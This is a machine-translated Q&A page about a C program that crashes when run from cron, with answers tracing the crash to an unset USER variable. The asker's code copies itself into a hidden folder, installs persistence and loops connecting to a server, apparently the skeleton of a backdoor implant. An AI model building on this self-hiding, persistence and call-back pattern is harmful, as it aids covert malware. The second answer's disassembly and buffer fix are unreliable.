在Linux上使用crontab运行我自己的C程序时出现分段错误



uname-a:

Linux deepin 5.4.70-amd64-desktop #1 SMP Wed Oct 14 15:24:23 CST 2020 x86_64 GNU/Linux

我正在编写一个使用目录和套接字的C程序。当我通过命令行运行它时,它按预期工作,但当通过cron运行时,它会出现分段错误。

这是我的程序的切入点(我想也是相关部分)。

#include "../include/persistence.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libgen.h>

#include "../include/sockets.h"
#include "../include/footprint.h"
#include "../include/commands.h"
int
main(int argc, char *argv[]) {
char    destination_path[2048] = { 0 };
char    *exec_filename;
char    *safe_exec_filename;
char    *username;
(void)argc;  // to prevent compiler warning about unused argc
username = getenv("USER");
safe_exec_filename = strdup(argv[0]);  // for safe use of basename()
exec_filename = basename(safe_exec_filename);
sprintf(destination_path, "/home/%s/.local/bin/", username);
if (!file_exists(destination_path)) {
if (create_dir(destination_path)) {
strcat(destination_path, exec_filename);
hide_file(argv[0], destination_path);
}
}
if ((strlen(exec_filename) + strlen(destination_path)) > 2048) {
printf("BUFFER TOO SMALLn");
return 1;
}
strcat(destination_path, exec_filename);
printf("%sn", destination_path);
if (!file_exists(destination_path)) {
hide_file(argv[0], destination_path);
}
if (safe_exec_filename != NULL) {
free(safe_exec_filename);
}
persistence(destination_path);
while (1) {
int16_t server_socket = connect_to_server();
start_communication(server_socket);
}
return 0;
}

通过命令行从任何(相对/绝对)路径执行二进制文件都很好,但使用cron时,"什么都不发生"。分析/var/log/syslog时,它显示以下内容:

Mar  4 15:27:01 deepin CRON[14713]: (user) CMD (/home/user/.local/bin/myprogram)
Mar  4 15:27:01 deepin kernel: [ 5934.175052] myprogram[22332]: segfault at 0 ip 00007f4fb5cea327 sp 00007ffd74362328 error 4 in libc-2.28.so[7f4fb5c6f000+148000]
Mar  4 15:27:01 deepin kernel: [ 5934.175060] Code: 0f 7f 27 f3 0f 7f 6f 10 f3 0f 7f 77 20 48 83 c6 30 48 83 c7 30 4c 8d 1d 47 f7 0d 00 49 63 0c 93 49 8d 0c 0b ff e1 66 0f ef c0 <f3> 0f 6f 0e f3 0f 6f 56 10 66 0f 74 c1 66 0f d7 d0 48 85 d2 75 6b

我的crontab-l输出:

* * * * * /home/user/.local/bin/myprogram

附言:我试过@reboot,但把***改成了"debug"。当使用@reboot和检查日志时,分段错误也会发生。检查/var/mail/user,它显示:

Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/home/user>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=user>
Message-Id: <20210304184201.5A18124898@deepin>
Date: Thu,  4 Mar 2021 15:27:02 -0300 (-03)
Segmentation fault

编辑1:我已经试过(在主函数的顶部)放一个函数,它可以创建一个文件,写入并保存。此函数从不执行。我创建了另一个程序,它只有一个写入文件并保存的主函数。将二进制文件放在myprogram的同一文件夹中,并为其装入cron,它就会正常执行(我可以看到生成的文件,日志中没有显示segfault或其他错误)。

当您从shell运行程序时,它设置了许多环境变量,这些变量在从cron运行时可能存在,也可能不存在。CCD_ 1就是其中之一。你应该检查你的系统文档,但我的有:

cron(8)守护进程会自动设置几个环境变量。SHELL设置为/bin/sh,LOGNAME和HOME是从crontab所有者的/etc/passwd行设置的。HOME和SHELL可能会被crontab中的设置覆盖;LOGNAME可能不会。

(另一个注意:LOGNAME变量有时在BSD系统上被称为USER……在这些系统上,USER也会被设置。)

因此可能无法定义USER。如果不是,那么getenv("USER")将返回NULL,但您没有对此进行测试,所以当您将其传递给sprintf时,username将为NULL并segfault。

您可以使用LOGNAME,或者跳过环境变量,找到类似getpwuid(getuid())的用户名。

在任何情况下,更多的错误检查通常都是一个好主意,以防止更多这样的错误。

我认为问题可能由各种问题引起:

为什么需要循环连接到服务器?

while (1) {
int16_t server_socket = connect_to_server();
start_communication(server_socket);
}
return 0;

应该是:

int16_t server_socket = connect_to_server();
while (1) {
start_communication(server_socket);
}
return 0;

而不是:

free(safe_exec_filename);

用途:

if (safe_exec_filename == NULL) {
dprintf(2, "Safe exec filename is NULL");
return 1;
}
free(safe_exec_filename);

还用cron和c程序打印safe_exec_filename,看看是否有差异,segfault的程序集如下:


您的字符数组变得太小:

0:  0f 7f 27                movq   QWORD PTR [edi],mm4
3:  f3 0f 7f 6f 10          movdqu XMMWORD PTR [edi+0x10],xmm5
8:  f3 0f 7f 77 20          movdqu XMMWORD PTR [edi+0x20],xmm6
d:  48                      dec    eax
e:  83 c6 30                add    esi,0x30
11: 48                      dec    eax
12: 83 c7 30                add    edi,0x30
15: 4c                      dec    esp
16: 8d 1d 47 f7 0d 00       lea    ebx,ds:0xdf747
1c: 49                      dec    ecx
1d: 63 0c 93                arpl   WORD PTR [ebx+edx*4],cx
20: 49                      dec    ecx
21: 8d 0c 0b                lea    ecx,[ebx+ecx*1]
24: ff e1                   jmp    ecx
26: 66 0f ef c0             pxor   xmm0,xmm0
2a: f3 0f 6f 0e             movdqu xmm1,XMMWORD PTR [esi]
2e: f3 0f 6f 56 10          movdqu xmm2,XMMWORD PTR [esi+0x10]
33: 66 0f 74 c1             pcmpeqb xmm0,xmm1
37: 66 0f d7 d0             pmovmskb edx,xmm0
3b: 48                      dec    eax
3c: 85 d2                   test   edx,edx
3e: 75 6b                   jne    0xab

因此,我主要担心的是,它可能与目标路径的缓冲区太小有关,因为cron使用相对路径而不是绝对路径:

strcat(destination_path, exec_filename);

尝试更改缓冲区大小:

#define SIZE 2048
char    destination_path[SIZE] = { 0 };

并添加一个检查:

if ((strlen(exec_filename) + strlen(destination_path)) > SIZE)
{ error handling}
strcat(destination_path, exec_filename);

相关内容

最新更新